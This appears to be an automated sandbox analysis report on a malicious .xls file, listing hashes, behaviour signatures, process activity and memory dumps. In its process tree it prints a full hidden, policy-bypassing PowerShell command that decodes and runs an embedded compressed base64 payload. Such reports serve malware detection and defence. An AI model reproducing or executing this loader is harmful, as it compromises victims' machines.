Analysis

  • max time kernel
    46s
  • max time network
    39s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2024, 21:33

General

  • Target

    455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824.xls

  • Size

    43KB

  • MD5

    2ac001ad8a359d4b60a75d45159f0fd3

  • SHA1

    861846974d8b7e2e5d263e31c4cbc11dc3b0ff66

  • SHA256

    455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824

  • SHA512

    5ab995228398a19b7a4dc937d1bd8632497cc0302d21f5b53b712c6b3f7805bbb4295511c8076c7483602de64885cfde7846dd7c32cce3182a03f43d9aa3b0df

  • SSDEEP

    768:yzmB+k3hOdsylKlgryzc4bNhZFGzE+cL2knAJgRX42AAbXwrlIRbxCca8yfMy:yk3hOdsylKlgryzc4bNhZFGzE+cL2kno

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1892
    • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
      C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRb9pIEH7nV4ysPclWsHGApg1WpKakaXNXUi6kSe8QOi32gLesd531OphQ/vuNiY+kr/fi9Yxn5/tm5huzBziD905reiHlVZZrY11nhUah7HWDRErHm0FezqWIobDc0oGVpe9wpezYGrgTxpZcnkupY7fxyfw8SQwWRRtKoSwk64l4wsZYPMdSKq1uN/mLe2y0xdh60f/mMjTILd6mdCQvXJ7tc2uNmJcWX5GyPF49MzsEk8/YA/uDe8wNz5CwDpf3WFTCpeTL15HPaFcJleG8b1mz2bKEOuycfxhefLz89Pnq9z++jK6/jv+8mdx+u7v//tfffB4nuFim4sdKZkrnD6aw5eO62jyFx91e/83J23enTnCrhyk358bwjeu1FqWKa3SIXfbobcGgLakPrjsldtPZDNjjrzfgJ4yQF6VB/+v8B7UZ/EmZeQE94DcIq+MwBB8f4LTr7V6yW9iyRc3eiY6DoPdzoam4OPX1PgV9OzoDlkzdJVrfcJXoDPyMVyKjrCwJvqBa2tSb7aKGH1tEr7IjbCE3OqZWw3bKa6IzVhEcPY6A/bOLAFVCFCpiX5AaGlzYugrX/xk3e1wvUKQF19vtXgEst0CMwWXiLIyYAF9aOOnT29GRt2UpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88Dw5dpwiCbQzn9PH7N4fKnF6jDSZoHkWMY01jGXHFl2hmg0HtRTNEY8VC0CbgHZci2ctpyKWckywJc8usKXEXsYyMayq4GdxkU1jMgjr9Pc6HUqCyUYtlwWcSHpoiIPm6Tlmg8QlPWacNzkg/CSl5px+ExF9nOYHNJVU8mlx9hJPgOIJ7QX1cF3B96zlexBSBLiOYfthY3Asqr9uQBRd6raTmyQW33HVSa/Ni0OkUlhoXxFKXSSW5WdK7zgb9fq/TibsdphzwWkxTBuLm11tPOsFsjuYCF0KJ/bTYA/jXtGXgEJVe1wFfkVXkPEbYey6buRbg57wobGrKFqvOmB4MfvkLhW2WN9prh1UvDEM6+qEXTZvW3ZTKigwDWlo0Om+GVAQjboqUS5rQUOcbl+VtCNswfd7tmcsq2ikyel3X89pwAKlLoyuvfz6E2GZVuz7Cevd0aX1VShLQ/gfjTyRiTiuIsSaFvzvph+GOhBCn292/ \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2428

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zol0pqoe.ls3.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

          Filesize

          2KB

          MD5

          4491d24d4900f03ef4ec8bd1006c98e6

          SHA1

          bc04962ed8555a3faf9894ea0cd9b8d91deb43ab

          SHA256

          d7d615933115e8dfceb5e997bbbb839ab1930db2b11776e98c9207dadda28331

          SHA512

          a3eb141cdbdd9067c59abf1092052a0ee3e29e03e810a643db85bb7326c841add542143f2123faf90d63a004b9722c90d408e07a991a5fd6ce9b47e6b24056a1

        • memory/1892-8-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-11-0x00007FFCA6070000-0x00007FFCA6080000-memory.dmp

          Filesize

          64KB

        • memory/1892-1-0x00007FFCA82F0000-0x00007FFCA8300000-memory.dmp

          Filesize

          64KB

        • memory/1892-5-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-6-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-7-0x00007FFCA82F0000-0x00007FFCA8300000-memory.dmp

          Filesize

          64KB

        • memory/1892-10-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-9-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-4-0x00007FFCA82F0000-0x00007FFCA8300000-memory.dmp

          Filesize

          64KB

        • memory/1892-3-0x00007FFCE830D000-0x00007FFCE830E000-memory.dmp

          Filesize

          4KB

        • memory/1892-12-0x00007FFCA6070000-0x00007FFCA6080000-memory.dmp

          Filesize

          64KB

        • memory/1892-22-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-23-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-26-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-0-0x00007FFCA82F0000-0x00007FFCA8300000-memory.dmp

          Filesize

          64KB

        • memory/1892-2-0x00007FFCA82F0000-0x00007FFCA8300000-memory.dmp

          Filesize

          64KB

        • memory/1892-55-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/1892-54-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/2428-33-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/2428-38-0x0000000005900000-0x0000000005966000-memory.dmp

          Filesize

          408KB

        • memory/2428-39-0x0000000006050000-0x00000000060B6000-memory.dmp

          Filesize

          408KB

        • memory/2428-37-0x0000000005860000-0x0000000005882000-memory.dmp

          Filesize

          136KB

        • memory/2428-49-0x0000000006100000-0x0000000006454000-memory.dmp

          Filesize

          3.3MB

        • memory/2428-50-0x0000000006750000-0x000000000676E000-memory.dmp

          Filesize

          120KB

        • memory/2428-51-0x0000000006780000-0x00000000067CC000-memory.dmp

          Filesize

          304KB

        • memory/2428-52-0x0000000007E80000-0x00000000084FA000-memory.dmp

          Filesize

          6.5MB

        • memory/2428-53-0x0000000006C50000-0x0000000006C6A000-memory.dmp

          Filesize

          104KB

        • memory/2428-36-0x00000000059B0000-0x0000000005FD8000-memory.dmp

          Filesize

          6.2MB

        • memory/2428-34-0x0000000003160000-0x0000000003196000-memory.dmp

          Filesize

          216KB

        • memory/2428-56-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/2428-35-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB

        • memory/2428-68-0x00007FFCE8270000-0x00007FFCE8465000-memory.dmp

          Filesize

          2.0MB